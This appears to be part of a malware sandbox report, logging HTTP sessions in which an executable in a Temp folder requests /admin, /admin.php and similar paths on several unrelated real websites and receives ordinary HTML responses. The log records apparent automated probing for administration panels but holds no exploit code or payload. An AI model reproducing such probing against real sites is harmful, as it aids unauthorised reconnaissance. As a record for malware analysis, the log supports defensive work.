2023-12-20 02:13:38 UTC	1543	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
377	192.168.2.4	50278	76.223.105.230	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:38 UTC	201	OUT	GET /admin HTTP/1.1 Host: justinsweet.com Accept: / Accept-Encoding: deflate, gzip Cookie: dps_site_id=us-east-1 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:38 UTC	288	IN	HTTP/1.1 404 Not Found Content-Type: text/html;charset=utf-8 Content-Length: 964 Vary: Accept-Encoding Server: DPS/2.0.0+sha-5905cfa X-Version: 5905cfa X-SiteId: us-east-1 Set-Cookie: dps_site_id=us-east-1; path=/; secure Date: Wed, 20 Dec 2023 02:13:38 GMT Connection: close
2023-12-20 02:13:38 UTC	964	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 2f 69 6d 67 31 2e 77 73 69 6d 67 2e 63 6f 6d 2f 64 70 73 2f 63 73 73 2f 75 78 63 6f Data Ascii: <!DOCTYPE html><html><head> <title>404 Not Found</title> <meta http-equiv="content-type" content="text/html; charset=utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link href="//img1.wsimg.com/dps/css/uxco

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
378	192.168.2.4	49971	209.126.24.60	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:38 UTC	264	OUT	GET /admin.php HTTP/1.1 Host: horsetech.com Accept: / Accept-Encoding: deflate, gzip Cookie: wp_ga4_customerGroup=NOT%20LOGGED%20IN; PHPSESSID=ddf24e4f35a024d9f5f3b3f7192a20f0 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:38 UTC	478	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 20 Dec 2023 02:13:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Set-Cookie: PHPSESSID=ddf24e4f35a024d9f5f3b3f7192a20f0; expires=Wed, 20-Dec-2023 03:13:38 GMT; Max-Age=3600; path=/; domain=horsetech.com; secure; HttpOnly; SameSite=Lax Pragma: no-cache Cache-Control: max-age=0, must-revalidate, no-cache, no-store Expires: Mon, 19 Dec 2022 17:32:48 GMT
2023-12-20 02:13:38 UTC	6744	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 2d 52 65 70 6f 72 74 2d 4f 6e 6c 79 3a 20 66 6f 6e 74 2d 73 72 63 20 2a 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 20 2a 2e 67 73 74 61 74 69 63 2e 63 6f 6d 20 2a 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 2a 2e 74 77 69 74 74 65 72 2e 63 6f 6d 20 2a 2e 74 79 70 65 6b 69 74 2e 6e 65 74 20 2a 2e 74 77 69 6d 67 2e 63 6f 6d 20 2a 2e 74 72 75 73 74 65 64 73 68 6f 70 73 2e 63 6f 6d 20 2a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 20 2a 2e 79 6f 75 74 75 62 65 2e 63 6f 6d 20 6d 61 70 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 20 2a 2e 79 6f 74 70 6f 2e 63 6f 6d 20 27 73 65 6c 66 27 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 3b 20 66 6f 72 6d 2d 61 63 74 69 6f 6e 20 73 65 63 75 72 65 2e Data Ascii: Content-Security-Policy-Report-Only: font-src .googleapis.com .gstatic.com .cloudflare.com .twitter.com .typekit.net .twimg.com .trustedshops.com .google.com .youtube.com maps.googleapis.com .yotpo.com 'self' 'unsafe-inline'; form-action secure.
2023-12-20 02:13:38 UTC	970	IN	Data Raw: 32 30 30 30 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 20 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 3e 0a 20 20 20 20 76 61 72 20 42 41 53 45 5f 55 52 4c 20 3d 20 27 68 74 74 70 73 5c 75 30 30 33 41 5c 75 30 30 32 46 5c 75 30 30 32 46 68 6f 72 73 65 74 65 63 68 2e 63 6f 6d 5c 75 30 30 32 46 27 3b 0a 20 20 20 20 76 61 72 20 72 65 71 75 69 72 65 20 3d 20 7b 0a 20 20 20 20 20 20 20 20 27 62 61 73 65 55 72 6c 27 3a 20 27 68 74 74 70 73 5c 75 30 30 33 41 5c 75 30 30 32 46 5c 75 30 30 32 46 68 6f 72 73 65 74 65 63 68 2e 63 6f 6d 5c 75 30 30 32 46 73 74 61 74 69 63 5c 75 30 30 32 46 76 65 72 73 69 6f 6e 31 37 30 31 33 38 38 34 32 30 5c 75 30 30 32 46 66 72 6f 6e 74 Data Ascii: 2000<!doctype html><html lang="en"> <head > <script> var BASE_URL = 'https\u003A\u002F\u002Fhorsetech.com\u002F'; var require = { 'baseUrl': 'https\u003A\u002F\u002Fhorsetech.com\u002Fstatic\u002Fversion1701388420\u002Ffront
2023-12-20 02:13:38 UTC	4096	IN	Data Raw: 2e 63 6f 6d 2f 73 74 61 74 69 63 2f 76 65 72 73 69 6f 6e 31 37 30 31 33 38 38 34 32 30 2f 66 72 6f 6e 74 65 6e 64 2f 68 6f 72 73 65 74 65 63 68 2f 64 65 66 61 75 6c 74 2f 65 6e 5f 55 53 2f 63 73 73 2f 73 74 79 6c 65 73 2d 6d 2e 6d 69 6e 2e 63 73 73 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 6f 72 73 65 74 65 63 68 2e 63 6f 6d 2f 73 74 61 74 69 63 2f 76 65 72 73 69 6f 6e 31 37 30 31 33 38 38 34 32 30 2f 66 72 6f 6e 74 65 6e 64 2f 68 6f 72 73 65 74 65 63 68 2f 64 65 66 61 75 6c 74 2f 65 6e 5f 55 53 2f 63 73 73 2f 73 74 79 6c 65 73 2d 6c 2e 6d 69 6e 2e 63 73 73 22 20 2f 3e 0a 3c 6c 69 Data Ascii: .com/static/version1701388420/frontend/horsetech/default/en_US/css/styles-m.min.css" /><link rel="stylesheet" type="text/css" media="all" href="https://horsetech.com/static/version1701388420/frontend/horsetech/default/en_US/css/styles-l.min.css" /><li
2023-12-20 02:13:38 UTC	4096	IN	Data Raw: 29 27 29 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 6d 61 74 63 68 29 20 72 65 74 75 72 6e 20 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 6d 61 74 63 68 5b 31 5d 2e 72 65 70 6c 61 63 65 28 2f 5c 2b 2f 67 2c 20 27 20 27 29 29 20 3b 0a 20 20 20 20 20 20 20 20 7d 3b 0a 0a 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 3d 20 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 7c 7c 20 5b 5d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 64 6c 34 4f 62 6a 65 63 74 73 20 3d 20 5b 7b 22 70 61 67 65 4e 61 6d 65 22 3a 22 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 22 2c 22 70 61 67 65 54 79 70 65 22 3a 22 6f 74 68 65 72 22 7d 5d 3b 0a 20 20 20 20 20 20 20 20 66 6f 72 20 28 76 61 72 20 69 20 69 6e Data Ascii: )')); if (match) return decodeURIComponent(match[1].replace(/\+/g, ' ')) ; }; window.dataLayer = window.dataLayer \|\| []; var dl4Objects = [{"pageName":"404 Not Found","pageType":"other"}]; for (var i in
2023-12-20 02:13:38 UTC	4096	IN	Data Raw: 09 20 20 20 20 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 0d 0a 09 09 20 20 20 20 7a 2d 69 6e 64 65 78 3a 20 39 39 39 39 3b 0d 0a 09 09 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0d 0a 09 09 20 20 20 20 72 69 67 68 74 3a 20 32 30 70 78 3b 0d 0a 09 09 20 20 20 20 74 6f 70 3a 20 32 32 70 78 3b 0d 0a 09 09 7d 0d 0a 09 09 2e 70 61 67 65 2d 70 72 6f 64 75 63 74 73 20 2e 70 72 6f 64 75 63 74 73 2d 6c 69 73 74 20 2e 70 72 6f 64 75 63 74 2d 69 74 65 6d 2d 69 6e 66 6f 20 61 2c 0d 0a 09 09 2e 70 61 67 65 2d 70 72 6f 64 75 63 74 73 20 2e 70 72 6f 64 75 63 74 73 2d 6c 69 73 74 20 2e 70 72 6f 64 75 63 74 2d 69 74 65 6d 2d 69 6e 66 6f 20 2e 70 72 6f 64 75 63 74 2d 69 74 65 6d 2d 64 65 74 61 69 6c 73 20 7b 0d 0a 09 09 09 77 69 64 74 68 3a 20 61 75 Data Ascii: float: right; z-index: 9999; position: absolute; right: 20px; top: 22px;}.page-products .products-list .product-item-info a,.page-products .products-list .product-item-info .product-item-details {width: au
2023-12-20 02:13:38 UTC	4096	IN	Data Raw: 7d 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 21 2d 2d 20 45 4e 44 20 47 4f 4f 47 4c 45 20 41 4e 41 4c 59 54 49 43 53 20 43 4f 44 45 20 2d 2d 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 78 2d 6d 61 67 65 6e 74 6f 2d 69 6e 69 74 22 3e 0a 20 20 20 20 20 20 20 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 2a 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 4d 61 67 65 6e 74 6f 5f 50 61 67 65 43 61 63 68 65 2f 6a 73 2f 66 6f 72 6d 2d 6b 65 79 2d 70 72 6f 76 69 64 65 72 22 3a 20 7b 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 3c 2f 68 65 61 64 3e 0a 20 20 20 20 3c 62 6f 64 79 20 64 61 74 61 2d 63 6f 6e 74 61 69 6e 65 72 3d 22 62 6f Data Ascii: }</script>... END GOOGLE ANALYTICS CODE --> <script type="text/x-magento-init"> { "*": { "Magento_PageCache/js/form-key-provider": {} } } </script> </head> <body data-container="bo
2023-12-20 02:13:38 UTC	4096	IN	Data Raw: 61 72 63 68 22 3e 0a 09 09 09 09 09 09 3c 73 70 61 6e 3e 53 65 61 72 63 68 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 3c 2f 62 75 74 74 6f 6e 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 3c 2f 66 6f 72 6d 3e 0a 09 09 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 78 2d 6d 61 67 65 6e 74 6f 2d 69 6e 69 74 22 3e 0a 7b 0a 20 20 20 20 22 2a 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 4d 61 67 65 6e 74 6f 5f 55 69 2f 6a 73 2f 63 6f 72 65 2f 61 70 70 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 63 6f 6d 70 6f 6e 65 6e 74 73 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 73 65 61 72 63 68 73 75 69 74 65 61 75 74 6f 63 6f 6d 70 6c 65 74 65 5f 66 6f 72 6d Data Ascii: arch"><span>Search</span></button></div></form></div> </div></div><script type="text/x-magento-init">{ "*": { "Magento_Ui/js/core/app": { "components": { "searchsuiteautocomplete_form
2023-12-20 02:13:38 UTC	4096	IN	Data Raw: 2e 74 6f 74 61 6c 73 22 3a 7b 22 63 6f 6e 66 69 67 22 3a 7b 22 64 69 73 70 6c 61 79 5f 63 61 72 74 5f 73 75 62 74 6f 74 61 6c 5f 69 6e 63 6c 5f 74 61 78 22 3a 30 2c 22 64 69 73 70 6c 61 79 5f 63 61 72 74 5f 73 75 62 74 6f 74 61 6c 5f 65 78 63 6c 5f 74 61 78 22 3a 31 2c 22 74 65 6d 70 6c 61 74 65 22 3a 22 4d 61 67 65 6e 74 6f 5f 54 61 78 5c 2f 63 68 65 63 6b 6f 75 74 5c 2f 6d 69 6e 69 63 61 72 74 5c 2f 73 75 62 74 6f 74 61 6c 5c 2f 74 6f 74 61 6c 73 22 7d 2c 22 63 68 69 6c 64 72 65 6e 22 3a 7b 22 73 75 62 74 6f 74 61 6c 2e 74 6f 74 61 6c 73 2e 6d 73 72 70 22 3a 7b 22 63 6f 6d 70 6f 6e 65 6e 74 22 3a 22 4d 61 67 65 6e 74 6f 5f 4d 73 72 70 5c 2f 6a 73 5c 2f 76 69 65 77 5c 2f 63 68 65 63 6b 6f 75 74 5c 2f 6d 69 6e 69 63 61 72 74 5c 2f 73 75 62 74 6f 74 61 6c Data Ascii: .totals":{"config":{"display_cart_subtotal_incl_tax":0,"display_cart_subtotal_excl_tax":1,"template":"Magento_Tax\/checkout\/minicart\/subtotal\/totals"},"children":{"subtotal.totals.msrp":{"component":"Magento_Msrp\/js\/view\/checkout\/minicart\/subtotal
2023-12-20 02:13:39 UTC	4096	IN	Data Raw: 66 3d 22 68 74 74 70 73 3a 2f 2f 68 6f 72 73 65 74 65 63 68 2e 63 6f 6d 2f 65 71 75 69 6e 65 2d 73 75 70 70 6c 65 6d 65 6e 74 73 2f 63 75 73 74 6f 6d 2d 6e 6f 6e 2d 73 74 6f 63 6b 2d 70 72 6f 64 75 63 74 73 22 3e 3c 73 70 61 6e 3e 43 75 73 74 6f 6d 20 26 20 4e 6f 6e 2d 73 74 6f 63 6b 20 50 72 6f 64 75 63 74 73 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 20 63 6c 61 73 73 3d 22 75 69 2d 6d 65 6e 75 2d 69 74 65 6d 20 6c 65 76 65 6c 31 20 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 6f 72 73 65 74 65 63 68 2e 63 6f 6d 2f 65 71 75 69 6e 65 2d 73 75 70 70 6c 65 6d 65 6e 74 73 2f 64 61 69 6c 79 2d 76 69 74 61 6d 69 6e 73 2d 6d 69 6e 65 72 61 6c 73 22 3e 3c 73 70 61 6e 3e 44 61 69 6c 79 20 56 69 74 61 6d 69 6e 73 2f 20 4d 69 6e 65 72 Data Ascii: f="https://horsetech.com/equine-supplements/custom-non-stock-products"><span>Custom & Non-stock Products</span></a></li><li class="ui-menu-item level1 "><a href="https://horsetech.com/equine-supplements/daily-vitamins-minerals"><span>Daily Vitamins/ Miner
2023-12-20 02:13:39 UTC	4096	IN	Data Raw: 6d 65 6e 75 2d 69 74 65 6d 20 6c 65 76 65 6c 31 20 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 6f 72 73 65 74 65 63 68 2e 63 6f 6d 2f 63 61 6e 69 6e 65 2d 73 75 70 70 6c 65 6d 65 6e 74 73 2f 64 69 67 65 73 74 69 76 65 2d 73 75 70 70 6f 72 74 22 3e 3c 73 70 61 6e 3e 44 69 67 65 73 74 69 76 65 20 53 75 70 70 6f 72 74 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 20 63 6c 61 73 73 3d 22 75 69 2d 6d 65 6e 75 2d 69 74 65 6d 20 6c 65 76 65 6c 31 20 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 6f 72 73 65 74 65 63 68 2e 63 6f 6d 2f 63 61 6e 69 6e 65 2d 73 75 70 70 6c 65 6d 65 6e 74 73 2f 73 6b 69 6e 2d 63 6f 61 74 22 3e 3c 73 70 61 6e 3e 53 6b 69 6e 20 26 20 43 6f 61 74 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 2f 6c 69 3e 3c Data Ascii: menu-item level1 "><a href="https://horsetech.com/canine-supplements/digestive-support"><span>Digestive Support</span></a></li><li class="ui-menu-item level1 "><a href="https://horsetech.com/canine-supplements/skin-coat"><span>Skin & Coat</span></a></li><

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
379	192.168.2.4	50269	205.178.187.19	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:38 UTC	210	OUT	GET /en_US/whois-suspension-netsol.jsp HTTP/1.0 Host: www.registrar-transfers.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:38 UTC	588	IN	HTTP/1.1 500 Internal Server Error Date: Wed, 20 Dec 2023 02:13:38 GMT Content-Type: text/html;charset=ISO-8859-1 Content-Length: 2070 Connection: close Set-Cookie: ingressnginxpublicuis=bc53bbf6feb93554bc2f53c19552f487\|66dc1766ccc35020769d07d4468e07d7; Expires=Wed, 20-Dec-23 02:43:38 GMT; Max-Age=1800; Path=/; Secure; HttpOnly set-cookie: JSESSIONID=957CCE310A16291443445946DE9F98D5; Path=/; HttpOnly x-envoy-upstream-service-time: 1 x-envoy-decorator-operation: transfer-auth.domains.svc.cluster.local:8080/* Strict-Transport-Security: max-age=15724800; includeSubDomains
2023-12-20 02:13:38 UTC	2070	IN	Data Raw: 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 3e 0d 0a 3c 21 2d 2d 20 25 54 43 2d 49 4e 46 4f 25 20 2d 2d 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 41 75 74 68 6f 72 69 7a 61 74 69 6f 6e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 68 74 74 70 2d 65 71 75 69 76 3d 63 6f 6e 74 65 6e 74 2d 74 79 70 65 3e 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 65 61 6c 73 2e 6e 65 74 77 Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">... %TC-INFO% --><html><head><title>Authorization</title><meta content="text/html; charset=UTF-8" http-equiv=content-type><script type="text/javascript" src="https://seals.netw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
380	192.168.2.4	50229	34.133.154.140	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:38 UTC	171	OUT	GET / HTTP/1.1 Host: hildebrandproject.org Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:38 UTC	780	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 20 Dec 2023 02:13:38 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 79419 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Link: <https://hildebrandproject.org/wp-json/>; rel="https://api.w.org/" Link: <https://hildebrandproject.org/wp-json/wp/v2/pages/4>; rel="alternate"; type="application/json" Link: <https://hildebrandproject.org/>; rel=shortlink X-TEC-API-VERSION: v1 X-TEC-API-ROOT: https://hildebrandproject.org/wp-json/tribe/events/v1/ X-TEC-API-ORIGIN: https://hildebrandproject.org X-Powered-By: WP Engine X-Cacheable: SHORT Vary: Accept-Encoding,Cookie Cache-Control: max-age=600, must-revalidate Accept-Ranges: bytes X-Cache: HIT: 6 X-Cache-Group: normal
2023-12-20 02:13:38 UTC	15604	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 20 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 2c 20 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 2c 20 6d 61 78 2d 73 6e 69 70 70 65 74 3a 2d 31 2c 20 6d 61 78 2d 76 69 64 65 6f 2d 70 72 65 76 69 65 77 3a 2d 31 27 20 2f 3e 0a 0a 09 3c 21 2d Data Ascii: <!DOCTYPE html><html lang="en-US"><head ><meta charset="UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><meta name='robots' content='index, follow, max-image-preview:large, max-snippet:-1, max-video-preview:-1' /><!-
2023-12-20 02:13:38 UTC	16384	IN	Data Raw: 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 6c 75 6d 69 6e 6f 75 73 2d 64 75 73 6b 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 70 61 6c 65 2d 6f 63 65 61 6e 2d 67 72 61 64 69 65 6e 74 2d 62 61 63 6b 67 72 6f 75 6e 64 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 70 61 6c 65 2d 6f 63 65 61 6e 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 65 6c 65 63 74 72 69 63 2d 67 72 61 73 73 2d 67 72 61 64 69 65 6e 74 2d 62 61 63 6b 67 72 6f 75 6e 64 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 65 6c 65 63 74 72 69 63 2d 67 72 61 73 73 29 20 21 69 Data Ascii: : var(--wp--preset--gradient--luminous-dusk) !important;}.has-pale-ocean-gradient-background{background: var(--wp--preset--gradient--pale-ocean) !important;}.has-electric-grass-gradient-background{background: var(--wp--preset--gradient--electric-grass) !i
2023-12-20 02:13:39 UTC	16384	IN	Data Raw: 6e 64 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 3f 73 3d 7b 73 7d 22 3e 3c 2f 66 6f 72 6d 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 69 74 6c 65 2d 61 72 65 61 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 69 6c 64 65 62 72 61 6e 64 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 22 20 63 6c 61 73 73 3d 22 63 75 73 74 6f 6d 2d 6c 6f 67 6f 2d 6c 69 6e 6b 22 20 72 65 6c 3d 22 68 6f 6d 65 22 20 61 72 69 61 2d 63 75 72 72 65 6e 74 3d 22 70 61 67 65 22 3e 3c 69 6d 67 20 77 69 64 74 68 3d 22 36 34 36 22 20 68 65 69 67 68 74 3d 22 31 34 36 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 68 69 6c 64 65 62 72 61 6e 64 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 32 30 32 31 2f 30 38 2f 63 72 6f 70 70 65 64 Data Ascii: ndproject.org/?s={s}"></form></div><div class="title-area"><a href="https://hildebrandproject.org/" class="custom-logo-link" rel="home" aria-current="page"><img width="646" height="146" src="https://hildebrandproject.org/wp-content/uploads/2021/08/cropped
2023-12-20 02:13:39 UTC	16384	IN	Data Raw: 79 5f 50 69 63 6e 69 63 5f 30 37 5f 31 32 5f 32 30 32 33 5f 30 31 34 32 2d 33 36 78 31 38 2e 70 6e 67 20 33 36 77 2c 20 68 74 74 70 73 3a 2f 2f 68 69 6c 64 65 62 72 61 6e 64 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 32 30 32 33 2f 31 30 2f 48 69 6c 64 65 62 72 61 6e 64 5f 52 65 73 69 64 65 6e 63 79 5f 50 69 63 6e 69 63 5f 30 37 5f 31 32 5f 32 30 32 33 5f 30 31 34 32 2d 34 38 78 32 33 2e 70 6e 67 20 34 38 77 22 20 73 69 7a 65 73 3d 22 28 6d 61 78 2d 77 69 64 74 68 3a 20 38 30 30 70 78 29 20 31 30 30 76 77 2c 20 38 30 30 70 78 22 20 2f 3e 3c 2f 61 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 62 2d 62 6c 6f 63 6b 2d 70 6f 73 74 2d 67 72 69 64 2d 74 65 78 74 22 3e 3c 68 65 61 64 65 72 20 63 6c Data Ascii: y_Picnic_07_12_2023_0142-36x18.png 36w, https://hildebrandproject.org/wp-content/uploads/2023/10/Hildebrand_Residency_Picnic_07_12_2023_0142-48x23.png 48w" sizes="(max-width: 800px) 100vw, 800px" /></a></div><div class="gb-block-post-grid-text"><header cl
